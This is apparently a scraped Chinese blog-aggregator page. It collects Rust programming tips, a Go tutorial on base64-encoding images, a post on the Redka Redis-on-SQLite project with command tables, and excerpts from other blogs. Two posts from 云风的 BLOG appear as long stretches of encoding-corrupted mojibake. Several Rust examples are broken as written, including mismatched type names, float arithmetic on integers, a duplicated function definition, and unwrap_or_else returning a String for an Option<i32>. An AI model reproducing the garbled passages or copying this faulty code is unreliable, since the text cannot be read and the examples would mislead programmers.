1234567891011121314// 难看的代码fn check_user_infos(user_infos: Vec<UserInfo>) -> bool {for u in user_infos.iter() {if !unique_tags.contains(&u.user_name.as_str()) {return false;}}true}// 优雅的代码fn check_user_infos(user_infos: Vec<UserInfo>) -> bool {user_infos.iter().all(|u| unique_tags.contains(&u.user_name.as_str()))}Tip #33
let a: Arc<Mutex<Vec<f32>>>这样的声明在视觉上是否让你觉得困扰？这时可以使用type关键字来定义类型 别名（alias）:1type SharedSafeVec<T> = Arc<Mutex<Vec<T>>>这样，你就可以使用
SharedSafeVec<f32>来代替Arc<Mutex<Vec<f32>>>。Tip #34
Option<T>.map()是一种将选项（Option）从一种类型转换为另一种类型的极佳方式。它能透明地处理None值的情况。请看以下示例，我们将
Option<u32>转换为Option<String>：1234567891011fn main() {let number_option: Option<u32> = Some(42);let string_option: Option<String> = number_option.map(|num| num.to_string());println!("{:?}", string_option); // 输出: Some("42")let none_option: Option<u32> = None;let empty_string_option: Option<String> = none_option.map(|num| num.to_string());println!("{:?}", empty_string_option); // 输出: None}Tip #35
什么是
trait bound? 当我们向带有泛型参数的函数中传递额外的trait名称，以便限制该泛型类型时，就是在谈论trait bound：1fn some_function<T: TraitA + TraitB>(param: T) { ... }你可以使用 "+" 运算符来组合多个特质。这样一来，类型 T 就需要同时满足
TraitA和TraitB这两个特质的要求。Tip #36
如需从应用程序获取更详细的日志输出，尝试导出环境变量
RUST_LOG={error, warn, info, debug, trace}。以下是一个使用
actix-web运行的服务在trace模式下的示例，它会提供超级详尽的日志输出：
![[Pasted image 20240608183308.png]]Tip #37
元组结构体对于封装值并附加可通过 Rust 的类型系统验证的元数据非常有用。
元组结构体的一个妙用是模拟计量单位——这样就不会再混淆英尺和米了：
12345678910111213141516171819202122struct Feet(i32); // 定义一个元组结构体，表示英尺struct Meters(i32); // 定义另一个元组结构体，表示米impl From<Feet> for Meter {fn from(feet: Feet) -> Self {Meter(feet.0 * 0.3048) // 将英尺转换为米}}impl From<Meters> for Feet {fn from(meters: Meters) -> Self {Feet(meters.0 / 0.3048) // 将米转换为英尺}}fn is_longer_enough(meters: Meters) -> bool {meters.0 > 1}fn is_longer_enough(feet: Feet) -> bool {feet.0 > 3}Tip #38
正在编写一个函数但还没准备好最终完成？可以使用
todo!()或unimplemented!()宏来让代码保持可编译状态。但要记住，如果你的程序运行时遇到这些点，它将会panic！这对于开发阶段非常理想。🚧和第四条重复了
Tip #39
30秒速成指南：构建 Rust #模块
创建你的模块结构：
1234my_module/│ ├── mod.rs│ ├── component_1.rs│ └── component_2.rs在 mod.rs 中添加：
12mod component_1;mod component_2;或者新的方式：
1234my_module/├── component_1.rs└── component_2.rsmy_module.rs🌟 小贴士：使用
pub关键字来定义公有访问权限。Tip #40
实际上，Rust 中有两种类型的宏。
声明式宏（declarative）和更高级的过程式宏（procedural）。下面是一个使用macro_rules!宏来生成println功能的声明式宏示例：123456789macro_rules! my_println {($($arg:tt)*) => {println!($($arg)*);};}fn main() {my_println!("Hello, Rust!");}这段代码定义了一个名为
my_println!的宏，它接收任意数量的参数并简单地将它们传递给标准库的println!宏，从而达到打印输出的目的。这是声明式宏的一个基本应用，它们基于规则匹配并在编译时展开。 - 博客 Tinyfool的中文Blog 2024-06-08 11:47:10
最近都在微信读书在听《剑桥中国史》，从开头听到明史部分了，当然是泛听有一搭无一搭的听的。 不过最近有点想法。每 […]
《剑桥中国史》阅读小感最先出现在Tinyfool的个人网站。
- 博客 61's life 2024-06-07 23:23:38309
- 博客 云风的 BLOG 2024-06-07 12:53:51
լ�ڼ���һ�����ˡ�һֱ���룬���������ӭ���г������˼�����������Ӧ����һ����������Ϸ�������Լ������������еõ����㡣
����ǰ�����μӹ�һ����ͬ�¾۲͡���֯��˵�����������Ķ�������Ϸ�������ˣ�����������ȫ���ˣ������Dz���Ǯ���������Ҫ��Ҫ�ո��֣���������ɶ��Ϸ��������������һ���Ĭ��ֱ��������˵������ûʲô�뷨���������ϵ��˷�ͷ��ת���˻��⡣
ǰ�βμ�һ��������Ϸ�������Щ�����ѡ���λͬѧ����Ϸ�ܶ����ˣ�˵����Щ��ľ���������ͷ�����Ǹ��ϰ�����������˼�С��˾�Լ�����û��ǮҲûǮ�����������о�����˸�Ա����Ϊ�˿��Գ����������ʣ�ÿ������ܴ�æ����������ڲ�ϲ������Ϸ��Ŀ�Ϻĵ���̫��ʱ�䡣���ڸɴ���ŶӰ��ٺã�һ���˳������ú����뵽��Ҫ��ʲô��
�ɼ����������ʲô���ѡ�����һ�˵�״̬Ҳ���ѵã�û��̫��������ţ���Ϊ�����¶�����������������
���ȣ�������һ����Ϸ������ӹ���ɡ�����Ϸ������Щ�����İ��á����� steam ����Щ��ͻ���������Сʱ��switch ��Ҳ�м�ǧСʱ��������������Ϸ�Ĺ����л����Ҫ�Ķ�����
��Σ���һ����Ϸ��Ŀ�IJ���Ϊ�����롣�Ҷ���������Ҫ�ͣ�����Ҫ��Ǯ����������������Ҫ����һ������Ϸ����Ȼ������Ϸ�Ŀ���ֻ���Լ���ͥ���ճ�������������Щ��Ļ����ѹ�������������ϲ������Ϸ������Ҫ̫���ӵ������ʲ����ⷽ�沢����Ҫ�����Ͷ�롣
��һ���棬��Ҳ����Ҫ����Ϸ�ֺ��������óɾУ�����Ҫ��һ����Ʒ��֤���Լ�����Щ�ɾе����鶼���й�������������Ķ�����
���ԣ�������Ҫ�����������̴����ij������飬���Լ������Լ�����һ����������¡�����ϲ�����ó�����ʵ�ǣ��������⣬������ǡ�
������˺ܶ���Ϸ����һֱ���浫֮ǰûʱ����IJ���֮�� 3 ��Ҳ�кܶ��³�����Ϸ�綯�ﾮ��̫��ҽԺ������˹ 2 ��Laysara: Summit Kingdom ��Final Facory ��Nexus 5X ��Sixty Four ���� �ܶ�ܶࡣ���ع�����ǰ���������Ϸ��
����Ϊ��Ӧ�����Լ��ó�����Ϸ���͡���ս������δ�����ɣ���������������������Щ�껨ʱ����ࣨ��ǧСʱ������Ϸ�г����õ�������ѡ�⣺
��һ���Զ����������͵���Ϸ���������� ���ؽ��� �� ���� ������Ԫ�ء�
�ڶ�������ʷ�еĴ�ս����Ϸ���ǵ� 30 ��ǰ��������������Ϸ������־����ʵ����������������Ȥ�����ٵ�����־ϵ�й�Ȼ�ã��������ڵ��۹���������Щ��Ϸ��㶼̫�¾��ˡ��Ҹ�ϲ��Ⱥ�ǡ�ά�����ǡ�ʮ�־�֮����Щ�ִ�ս����Ϸ����Щ��Ϸ����������ĵ� mod ���������ɹ��������ɹ����ִ�����ս����Ϸ�����ҿ���ֻ�а����ȫ��ս����������
��������ͳ�����ϵ� Rogue like ������ Rogue's Tale �ϻ��˽�ǧСʱ��Tome4 , Adom , netheck Ҳ���������ϲ����Щ��Ϸ�淨���ںˣ��������һЩ�ִ���Ϸ�Ľ���Ԫ�ػ������ã����粩��֮�� 3 ���淨�ں˻��ǹŵ�� DnD �����ǽ�����������˾�Ľ�����Diablo ���ҿ���Ҳ�� Rogue Like �Ľ���������Ԫ�صļ�������������dz��ɹ���
�кü��죬�Ҷ��ڼ���ѡ�����ԥ�����ڽ�һ����˼��ͣ�Ͳ�ǰ��ֱ�������Ұ�̫��ҽԺ��ս��ͨ�أ�ͻȻ����Щ�µ��뷨��
��ʵ����������ʲô��Ŀ������û������ġ�����һ���������Ȥ������ʲô��ϷҲ���ر������죬����̫��ҽԺ������ĸ��ܾͺ��泩��Ҫ˵��֮ǰ��˫��ҽԺ������ʲô��ͬ���ֿ��Dz��ġ�������˫��ҽԺ�ճ���ʱ�����ţ�ܵ�����ҽԺ�ľɸ��飬�ҵ�һʱ������ˡ�����ʱ���˼���Сʱ�ͷ����������̫��ҽԺ�Ҿ�һ�������� 20 ��Сʱ��Ϊ�˷�ֹһʱƫ�����������°�װ��˫��ҽԺ�����ָо���û�д����������� steam �����е�һ�仰������ô˵�ɣ�˫��ҽԺ�Ǿ�ʱ����Ϸ�ĸ��廭�����ð棬����������ִ���Ϸ�ĸо�����
����������Ϸ������ʵ����̫�����⣬���ɻ������ж�����ȴû̫�����塣�����ִ���Ϸ��Ԫ��Ҳû���⣬����ӦӲȥ��ϡ���Ϸ���Ӧ����Ǣ���ҵ�������Ϸÿ������Ӧ����ʲô����ij���ض�����Ȥ��������ڴ˻���������ʵ�־ͺ��ˡ���ͻȻ���˴�������
������Ȥ���ڲ���������ռ���ƴ�ղ������顣
�Ҿ�������һ���dz����ҵ���㣺��̫��ҽԺ�аڷŷ���ʱ���ܵ�����һ�㡣�����ǹ�����̫��̽�� end game �ɴ�ʱ����Ҳ�������������������շɴ������ͼ��warptorio ��� mod ��Ҳ����Ҫ�ڼ���¥������ռ���������������
�ָߡ�����˹������������ӵ�������û��Ļ�ľ��Ϸ���Ҿ���ƴ��ľ�����Ի��ij��ԭʼ�Ŀ�С�������Ϸ��ƣ�����һ���ܺõ���㡣Ȼ��������������������뷨���е��������£����ݹ��࣬��������ν���Ժ������ü��ͺ��ˡ�
������ϵ����������ס�˵����ǣ���ͬ���Ǽ����塣��Ұ���һ��������ó���Ľ���������һ������������ϵ�������⣬��̽���ռ����ܡ�
����Ϸ��һ��ʼ�����ӵ��һ�Һ�С�ķɴ���ֻ�����ȼ������ң��� 2,3 �������Ա������Ϸ�����У�ÿ�κ��̴�һ��������һ������ÿ�εִ��µ�Ŀ�ĵأ��Ϳ��������ݵIJ�������ļ�´�Ա����չ�ɴ����Ĵ��ϵķ�����ơ�
ÿ�������ڵĻ������Զ�����ʽ��������Ա��Ҫ��������խ�Ĺ��������������ɴ������ĸ�����ƣ����ڲ������İڷż����ӹ�ϵ�����˴�������Ч�ܡ����ǹ�����ȱ����Щ��Ϸȷ��������淨�dz����ģ������ﻹ��Ҫ�������ƹ�����
����ÿ�κ��̣�����һ��С����ս�����Ҫ��ԣ�
- �滮ȼ�ϡ�������ʳ������ġ�
- һ·���������ʯ����������ͨ�������ܡ����˻��ȷ�������������������һ��С��������Ϸ��
- ��������������¼�������籩������ҫ�ߵȵȡ���ῼ�鴬�Ĺ����������̬����������
- �����к����ȵ��˳��֣���Ҫʹ�ý���������������ԾǨ��������������������Կ��ǵǴ�ս����
�����һ�����������������Ϸ����������ƺõ�����ս�ۣ�
��Ա�Ļ�ã���ʼ������������ġ���Ա�ijɳ�����������������������ȡ�����ʹ�õĸ��������ࡣÿ�κ������ٵ���ս������ԡ���Ϸ��Ĵ����Ա��������������Ϸ����Ϊȫ����Ա��������ʧ�ܡ���Ϸ�����ṩ��ʱ Load/Save �����ԣ�����ÿ��������Ҫ���Ǻ����Ͷ������Դ��������;ʧ�ܡ�
����ÿ����Ϸ�У�����ض�Ŀ����Խ����Ų����Ų��������ñ�����δ������Ϸ�С�
�����Ŀ����ݵ� ���ӷɽ��������� ��������������ǹ������Ǽʹ����в����Ŀڱ���������Ϸ�����������һ�� rogue like ���� asciisector ����Ȼ���Ƕ�������Ʒɴ�Ϊ�ص㡣
������������ӵIJ��������У��кܶ���Ȥ�ģ���ͨ�ع��ģ���Ϸ�����������������������ڣ�
- 博客 Tinyfool的中文Blog 2024-06-07 10:21:31
昨天，和菜头写了一篇文章《又到高考发梦季》，描述了每年高考在即，他就会梦到大学和高考的事情。我留言道：我已经早 […]
走出高考梦魇最先出现在Tinyfool的个人网站。
- 博客 构建我的被动收入 2024-06-07 08:00:00BMPI周记004：不要做空
- 博客 二丫讲梵 2024-06-07 05:45:06如要阅读全文，点击标题跳转。学习周刊-总第162期,现在各个厂免费证书都变成3个月了，分享几个自动续签的开源项目
- 博客 61's life 2024-06-06 23:26:55314
- 博客 鸟窝 2024-06-06 23:19:17
图片的 base64 编码在多种上下文中都很有用。当需要通过旨在处理文本数据的媒体存储或传输图片时，它通常会被使用，比如嵌入到网页或者通过 API 上传图片。这篇文章将介绍如何使用 Go 标准库得到任何图片的 base64 编码的值。
在 Go 中将图片转换为其 base64 表示很容易。所有你需要做的是将文件读取为字节 slice并使用包
encoding/base64对其进行编码。处理本地图片
首先，让我们处理本地文件系统中的图片文件：
12345678910111213141516171819202122232425262728293031323334353637383940package mainimport ("encoding/base64""fmt""io/ioutil""log""net/http")func toBase64(b []byte) string {return base64.StdEncoding.EncodeToString(b)}func main() {// 读取文件到 byte slicebytes, err := ioutil.ReadFile("./flower.jpg")if err != nil {log.Fatal(err)}var base64Encoding string// 得到当前文件的格式mimeType := http.DetectContentType(bytes)// 根据MIME 类型添加适当的 URI 方案头switch mimeType {case "image/jpeg":base64Encoding += "data:image/jpeg;base64,"case "image/png":base64Encoding += "data:image/png;base64,"}// 添加 base64 编码的输出base64Encoding += toBase64(bytes)// 打印图片的完整 base64 表示fmt.Println(base64Encoding)}第一步是通过
ioutil.ReadFile()将图片文件读取为字节切片。接下来，用于获取http.DetectContentType()的 MIME 类型文件，以便将相应的数据 URI 方案标头附加到 base64 编码的输出。之后，调用该函数toBase64()它使用base64.StdEncoding.EncodeToString()方法检索 图片的 base64 编码。此函数调用的结果将追加到 URI 方案标头。运行此代码后，它会将图片的 base64 编码打印到提供的标准输出。
您可以复制 base64 字符串并将其直接粘贴到浏览器的地址栏中。它应该显示整个图片，如下所示。
处理远程图片
将通过URL提供的图片转换为其 base64 编码， 与我们上面已经看到的没有太大区别。您需要做的就是 对图片进行 GET 请求，然后将响应正文读取成字节切片。之后，该过程的其余部分与使用本地图片相同。
12345678910111213141516171819202122232425262728293031323334353637383940package mainimport ("encoding/base64""fmt""io/ioutil""log""net/http")func toBase64(b []byte) string {return base64.StdEncoding.EncodeToString(b)}func main() {resp, err := http.Get("https://freshman.tech/images/dp-illustration.png")if err != nil {log.Fatal(err)}defer resp.Body.Close()bytes, err := ioutil.ReadAll(resp.Body)if err != nil {log.Fatal(err)}var base64Encoding stringmimeType := http.DetectContentType(bytes)switch mimeType {case "image/jpeg":base64Encoding += "data:image/jpeg;base64,"case "image/png":base64Encoding += "data:image/png;base64,"}base64Encoding += toBase64(bytes)fmt.Println(base64Encoding)}本文技术点是通过
http.DetectContentType获取图片类型，以及如何编码图片的base4形式。祝你阅读愉快。
- 博客 鸟窝 2024-06-06 09:26:42
Tip #001
Rust 不支持静态 vec(
static vec),但是最接近的是静态数组。例如,如果你想存储三个字符串的数组,可以尝试这样:static STRINGS : [&str;3] = ["a", "b", "c"]Tip #002
什么是可选值(
optional)和unwrap()? 可以将可选值想象成一个信封,它可以包含一个值(Some(item))或者什么都没有(None)。对可选值调用unwrap()要么返回包含的值,要么如果可选值是None的话就会使程序panic。Tip #003
关于可选值(
optional)的安全解包方式:- 使用
match语句明确处理不同情况 unwrap_or_default: 要么解包得到值,要么返回默认值unwrap_or_else: 允许你指定一个函数来处理None/Error解包结果
Tip #004
如果你没有时间完成特定的一段代码,但仍然希望程序可以编译,可以考虑使用
todo!()或unimplemented!()宏。你的代码会继续编译通过,但如果程序运行到包含这些宏的代码块中,它将会panic。todo!更适合临时标记,而unimplemented!则更适合长期未实现的情况。Tip #005
如果你想测试一个枚举类型的实例是否符合枚举的特定变体,你可以使用
matches!宏,例如:let match_res = matches!(my_variable, enum_type);你也可以匹配其他模式,如范围,例如:
matches!(foo, 'A'..='Z')Tip #006
你知道吗,
{}块可以像函数一样返回结果?这使得基于条件的赋值变得非常容易。例如:1234567let car_ready = {start_engine();match engine_state {Engine::running => true,Engine::error => false}}Tip #007
const和static之间有什么区别?
- const值在编译期间会被替换("内联")到你的代码中。这对于在代码的各个地方使用的常量值来说是理想的。
- static值在运行时有一个内存地址,并且会在整个应用程序的生命周期中存在。它们可以是可变的。如果你需要一个固定的位置来存放共享资源,例如硬件驱动程序或数据库接口,那么静态变量就很有用。
Tip #008
如果你想将几个相同或不同类型的值一起存储,元组类型就很有用。下面是一个将元组类型声明为结构体元组的示例,访问元组类型字段,以及从函数返回"匿名"元组类型:
123456struct MyTuple(String, i32);fn flip(a: (i32, String)) -> MyTuple {let my_tuple = MyTuple(String::from("the answer"), 42);(a.1, a.0)}Tips #009
让我们来谈谈
string在 Rust 中有两种基本的字符串类型:
String和str。String: (也称为Owned String),在堆上分配内存并且可变。String在运行时使用,当你想要创建和修改字符串时。你可以将String作为&str引用传递给只读函数。str: (也称为String Slice) 是对一序列UTF8数据的引用。你可以在编译时以常量、静态字面量的形式创建str,或者在运行时从String对象获取它们。str总是不可变的。Tips #010
拼接
string有两种方式可以将两个字符串连接,分别使用:- push_str
- format! 宏
123456789// 使用 push_strlet mut first = String::from("Hello, ");first.push_str("world!");assert_eq!(first, "Hello, world!");// 使用 format! 宏let second = String::from("Hello, ");let combined = format!("{}{}", second, "world!");assert_eq!(combined, "Hello, world!");Tips #011
格式化打印宏
print!、println!: 在控制台打印文本。
您可以使用格式字符串打印变量的内容,例如,let a: i32 = 1234; println!("The value of a is: {}", a);将打印出"The value of a is 1234"eprintln!: 打印到标准错误流(stderr)dbg!: 打印变量的值和行号,对于轻量级调试很有用。
Tips #012
可选值解包使用
if let()类似于Swift, Rust 允许我们使用if let来测试一个可选值是否有值,这种方式便于保持程序流程的简洁:12345678910111213141516fn main() {let optional_value: Option<i32> = Some(9);// 传统方式match optional_value {Some(value) => println!("The value is: {}", value),None => println!("There is no value"),}// 使用 if letif let Some(value) = optional_value {println!("The value is: {}", value);} else {println!("There is no value");}}Tips #013
使用
if let解包多个可选值。继上一条 tip,如果你需要同时检查多个可选值是否都有值,你可以使用if let来测试和解包可选值的元组:123456789101112131415161718fn main() {let optional_tuple: (Option<i32>, Option<bool>) = (Some(5), Some(true));// 传统方式match optional_tuple {(Some(int_value), Some(bool_value)) => {println!("Received int: {} and bool: {}", int_value, bool_value);}_ => println!("One or more options were None"),}// 使用 if letif let (Some(int_value), Some(bool_value)) = optional_tuple {println!("Received int: {} and bool: {}", int_value, bool_value);} else {println!("One or more options were None");}}Tips #014
实例化
vector。
Vec是一种动态数组类型,非常适合存储相同数据类型的序列。下面是一些使用标准库调用和vec!宏实例化Vec的方式。注意类型是如何处理的:123456789101112// Type automatically inferred by the next push.let mut a: Vec<i64> = Vec::new();a.push(1_i64);// Type set during instantiation.let mut b: Vec<i64> = Vec::<i64>::new();// Type defined explicitly, initialized using vec!let mut c: Vec<i64> = vec![];// Type automatically inferred, prefilled with vec!let mut d: Vec<i64> = vec![1_i64, 2_i64, 3_i64];123456789101112131415// 空Veclet mut vec1: Vec<i32> = Vec::new();// 用值初始化let mut vec2 = vec![1, 2, 3];// 用指定数量的元素和默认值初始化let mut vec3 = vec![0; 5]; // vec3 = [0, 0, 0, 0, 0]// 从迭代器获取元素let vec4 = (0..5).collect();let vec5: Vec<_> = ["foo", "bar"].into_iter().collect();// 用给定的初始容量初始化let mut vec6 = Vec::with_capacity(10);Tip #015
Vector迭代。
你可以使用
vec.iter()来对 Vector进行迭代，使用map()或for_each()函数，这与例如 JavaScript 中的方式类似。1234567891011let numbers: Vec<i32> = vec![1, 2, 3, 4, 5];// Using for_each to print each elementnumbers.iter().for_each(|&x: i32| {println!("{}", x);});// Use map to transform a vector.let squared: Vec<i32> = numbers.iter().map(|&x: i32| x * x).collect();println!("{:?}", squared);Tips #016
嘿,你有一些不错的
HashMap,怎么初始化它们?除了创建一个新的HashMap并插入键值对之外,一种值得注意的方式是使用一个元组数组和一个#迭代器:123456789101112use std::collections::HashMap;fn main() {// 从一个元组数组创建HashMaplet codes: HashMap<_, _> = [(101, "abc"),(102, "def"),(103, "ghi"),].iter().cloned().collect();println!("codes = {:?}", codes);}Tips #017
更好的方式来
unwrap()
如果内容是None的话,unwrap()一个可选值会导致panic。以下是在unwrap时处理None的一些方法:- unwrap_or_default(): 如果可选值是None,返回默认值。
- unwrap_or(): 提供一个替代值。
-unwrap_or_else(): 执行一个函数,如果可选值是None的话该函数返回某个值。
123456789101112fn main() {let x: Option<i32> = None;// 返回默认值0println!("{}", x.unwrap_or_default());// 返回提供的替代值99println!("{}", x.unwrap_or(99));// 返回函数提供的值println!("{}", x.unwrap_or_else(|| "No value".to_string()));}Tips #018
Rust 允许我们轻松定义匿名函数(也称为
lambda或closure或闭包)。闭包通常与iterator一起使用,或者用于定义回调函数。以下是语法示例:12345678910fn main() {let multiply = |a, b| a * b;let product = multiply(3, 4);println!("Product: {}", product); // 输出: Product: 12let add_two = |x| x + 2;let values = vec![1, 2, 3, 4, 5];let new_values: Vec<_> = values.iter().map(add_two).collect();println!("New values: {:?}", new_values); // 输出: New values: [3, 4, 5, 6, 7]}Tips #019
在闭包中使用
move可以从周围作用域捕获变量。这意味着闭包将获取这些变量的所有权,而无需传递任何参数:1234567891011121314fn main() {let num = 5;let closure = || {println!("Num: {}", num); // 错误: `num` 不可借用};let closure_move = move || {println!("Num: {}", num); // 正确: `num` 被移动到闭包中};closure(); // 调用没有捕获变量的闭包closure_move(); // 调用捕获了 `num` 的闭包}Tips #020
实现
From()trait 提供了一种在复杂类型之间进行转换的机制。Rust 还会自动为对应的类型提供一个Into()实现。在下面的示例中,我们为ColorFloat实现了From,但是可以使用Color8Bit的Into():123456789101112131415161718192021222324252627282930struct Color8Bit {r: u8,g: u8,b: u8,}struct ColorFloat {r: f32,g: f32,b: f32,}impl From<Color8Bit> for ColorFloat {fn from(color: Color8Bit) -> Self {ColorFloat {r: (color.r as f32) / 255.0,g: (color.g as f32) / 255.0,b: (color.b as f32) / 255.0,}}}fn main() {let color8 = Color8Bit { r: 230, g: 100, b: 50 };// 使用 Into 特性将 Color8Bit 转换为 ColorFloatlet color_float: ColorFloat = color8.into();println!("Color Float: {}, {}, {}", color_float.r, color_float.g, color_float.b);}整理自 Daily Rust @rustoftheday
- 使用
- 博客 Tinyfool的中文Blog 2024-06-06 09:20:00
6月11日，WWDC 2024 就要召开了。每年 WWDC 召开以后，随着苹果发布一堆新的内嵌功能，就会在推特 […]
- 博客 Tinyfool的中文Blog 2024-06-05 10:52:34
这个问题是偶然看到的，在某社交平台上，一个朋友晒了一个程序员网站 V2ex 上面的帖子，如下： 题目是，高位买 […]
- 博客 云风的 BLOG 2024-06-04 15:53:11
��������������Ϸ demo ʱ���� Ant �� Asset ����ģ��֮ǰ������һЩ����û����ɡ�
�Ǿ��ǣ�����Ϸ������� Asset ����Դ����ģ���ʱ�ͷ����ǵ����⡣�� ant.asset ģ���У�����Ϊÿ�� asset �����ļ��������֣������� loader unloader reloader �����ӿڣ��ֱ������ء�ж�ء����صĹ�����
����ʵ��ʵ��ʱ��������û��ʵ�� unloader ����ʱ��͵������Ϊ����֮ǰ����Ϸ��ʹ��ȫ����Դ�����ص��ڴ棬Ҳû�������ݣ�������Ҫ��̬ж���ͷ��ڴ档����ʹʵ���� unloader ��������Ҳû��ʵ�ֺܺõIJ���ȥ��������ֻ�ܿ��û���������ж�� api ����ʵ�ϣ�һ������Դ�ļ�����ж��Ҳ��ʵ�á�
���ǵ�ռ���ڴ����� asset ����ͼ�������ֶ���ͼ����һЩ�������
���е���ͼ��������һ�ſհ���ͼ��Ϊ�����������Ȩ���κ�ʱ��ͨ�����ڴ治��ʱ�������ͷų���δʹ�õ���ͼ��������������������Ҳ���Ժܺõ������첽���ع��̡�
���ԣ�δ�ͷŵ���ͼ����������ڴ档
�����ڲ鿴�����Ԥ����״��ص� API ʵ��ʱ�������Ƕ�һЩԤ�Ƶ�ģ�ͣ�����һЩ�������
Ԥ��ģ�ͣ�����ƽ�塢��ͷ������ȣ�ͨ���ڵ��Ի�дһЩ�� demo ʱʹ�á����Dz��Ǵ� asset �ļ��м��ض����ģ�����ͨ��һЩ����ֱ����д�������ݴ������������ԣ��������������ݣ�mesh�������� entity �乲��������ÿ�� entity ����һ�ݡ�Ŀǰ�������ڸ��� entity ������ entity ����ʱ�������� mesh ������ݡ�
���ԣ����Ǿ���������ݽṹ�ϴ��˸���ǡ�ӵ�������ǵ����ݣ����� entity ����ʱ�����ٴ��������������Դй¶��
�Ҿ����������в��õ�ζ����������������Դ����ģ��������һ�£�ͳһ�ļ����ص� asset �ͳ������ɵ����ݵĹ�����
�ص�ǰ������⣺����Ӧ��ʲôʱ�������ڴ��е� Asset ���ݣ��ṩ������ API ����������Ϊ�������ģ�
- ��ģ��С����Ϸ�� demo ��ʵ�ϲ�����Ҫ������ʱ�����������˳�ʱһ���ͷŸɾ����ɡ�
- ��ģ�ϴ����Ϸ��ͨ���ڳ����л�ʱ���������Ҳ�Ӧ����������̫С�����������Ӻܶ�Ŀ����Ѷȡ�
����������ѵ����ģ�
���һ������������ij�� Asset ���ݣ�ͨ�����Dz���ֱ������������������ͼ����������������͵͵�滻ʵ�ʵ����ݣ��������к����ҵ����ж���� Asset ���ݵ����ù�ϵ����Ϊά������һ�ű��ж���ĸ��Ӷȳɱ���
���ǣ����� Asset ����Ŀǰ���ض������� ECS �е� entity ���ã���Ȼ����ͨ������ entity ���ض� component �ҵ����ù�ϵ�������� ECS �� world �����ٻ�����ʱ��һ�����õ�ʱ������Ϊ��ʱ������ entity ���������ˡ�
���л�����ʱ�����ǽ������´��� world �е����� entity ����������Դ����ģ��Ϳ������е� Asset ȫ�������ɾ��ˡ���Ȼ��ʵ��ʵ��ʱ�����Dz�������ͷ����е����ݡ���һ�� cache ���ã����ͬ���� asset ����֮���ּ����¼��أ��Ϳ���ֱ������ cache �е������ˡ�
˳�����˼·���Ҵ����ع� Ant �е� Asset ����ģ�顣�ȴ� mesh �Ĺ����������û�����⣬�Ϳ����ƹ㵽���е� Asset ��
- mesh �� handle ֻ������ ���������١��������ִ��ļ���������� mesh �ͳ��������ݡ�
- �ṩһ���������ڴ������е� mesh ȫ�����١������ᱣ֤���������á����Ƿ��� world ���ؽ������У����ܱ�֤��㡣
- ��һ�� ltask ����������е� mesh , ������һЩ cache ������ �� 2 ����ʱ���������������ݣ������� cache �㷨��������ʱ������
���ڳ����� mesh ����������һ�� api ���ڴ��� mesh ʱ��ͬʱ���ַ��������������Ϳ��Ժ��ļ����ص� mesh ͳһ������������� mesh ʱ�в�����������Ҳ���뵽����ַ����У���֤�ַ�����������Ψһ��Ӧ��
Cache ����ʹ��һ�����㷨��
- �����ݷ�Ϊ new �� old ��������new ��ʾ��ǰ������е����ݣ�old ��ʾ�����ڴ浫���Ա����������ݡ�
- ��ˢ��ʱ���� cache ��������Ϊ old/2 + new * 2 ��Ȼ��ѵ�ǰ�ڴ�������������Ϊ old ��
- ��������ʱ�������������ڴ��У������ݱ��Ϊ new �����������ݣ������ new ���ޣ����������ޣ�ɾ������һ�� old ���ݡ�
- 博客 卢昌海的个人主页 2024-06-04 08:10:00站长 2024.05 发布的微博文字选录
- 博客 鸟窝 2024-06-04 07:28:39
Redka旨在使用SQLite重新实现Redis的优秀部分,同时保持与Redis API的兼容性。
有意思的特性:
- 数据不必完全装载在内存中。
- 支持ACID事务。
- 使用SQL视图以便于内省和报告。
- 同时提供进程内(Go API)和独立(RESP)服务器。
- 兼容Redis的命令和线路协议。
Redia 并不期望完全达到 Redis 那么高的性能，但是性能上也并不会落后很多。它的主要功能还是 SQL + Redis 的功能，集成了两种优秀产品 SQLite 和 Redis 的盛世美颜。
支持的 Redis 命令
字符串
123456789101112131415Command Go API Description------- ------ -----------DECR DB.Str().Incr Decrements the integer value of a key by one.DECRBY DB.Str().Incr Decrements a number from the integer value of a key.GET DB.Str().Get Returns the value of a key.GETSET DB.Str().SetWith Sets the key to a new value and returns the prev value.INCR DB.Str().Incr Increments the integer value of a key by one.INCRBY DB.Str().Incr Increments the integer value of a key by a number.INCRBYFLOAT DB.Str().IncrFloat Increments the float value of a key by a number.MGET DB.Str().GetMany Returns the values of one or more keys.MSET DB.Str().SetMany Sets the values of one or more keys.PSETEX DB.Str().SetExpires Sets the value and expiration time (in ms) of a key.SET DB.Str().Set Sets the value of a key.SETEX DB.Str().SetExpires Sets the value and expiration (in sec) time of a key.SETNX DB.Str().SetWith Sets the value of a key when the key doesn't exist.暂时不支持的命令
1APPEND GETDEL GETEX GETRANGE LCS MSETNX SETRANGE STRLEN SUBSTR列表
1234567891011121314Command Go API Description------- ------ -----------LINDEX DB.List().Get Returns an element by its index.LINSERT DB.List().Insert* Inserts an element before or after another element.LLEN DB.List().Len Returns the length of a list.LPOP DB.List().PopFront Returns the first element after removing it.LPUSH DB.List().PushFront Prepends an element to a list.LRANGE DB.List().Range Returns a range of elements.LREM DB.List().Delete* Removes elements from a list.LSET DB.List().Set Sets the value of an element by its index.LTRIM DB.List().Trim Removes elements from both ends a list.RPOP DB.List().PopBack Returns the last element after removing it.RPOPLPUSH DB.List().PopBackPushFront Removes the last element and pushes it to another list.RPUSH DB.List().PushBack Appends an element to a list.暂时不支持的命令
12BLMOVE BLMPOP BLPOP BRPOP BRPOPLPUSH LMOVE LMPOPLPOS LPUSHX RPUSHXSet
1234567891011121314151617Command Go API Description------- ------ -----------SADD DB.Set().Add Adds one or more members to a set.SCARD DB.Set().Len Returns the number of members in a set.SDIFF DB.Set().Diff Returns the difference of multiple sets.SDIFFSTORE DB.Set().DiffStore Stores the difference of multiple sets.SINTER DB.Set().Inter Returns the intersection of multiple sets.SINTERSTORE DB.Set().InterStore Stores the intersection of multiple sets.SISMEMBER DB.Set().Exists Determines whether a member belongs to a set.SMEMBERS DB.Set().Items Returns all members of a set.SMOVE DB.Set().Move Moves a member from one set to another.SPOP DB.Set().Pop Returns a random member after removing it.SRANDMEMBER DB.Set().Random Returns a random member from a set.SREM DB.Set().Delete Removes one or more members from a set.SSCAN DB.Set().Scanner Iterates over members of a set.SUNION DB.Set().Union Returns the union of multiple sets.SUNIONSTORE DB.Set().UnionStore Stores the union of multiple sets.暂时不支持的命令
1SINTERCARD SMISMEMBERHash
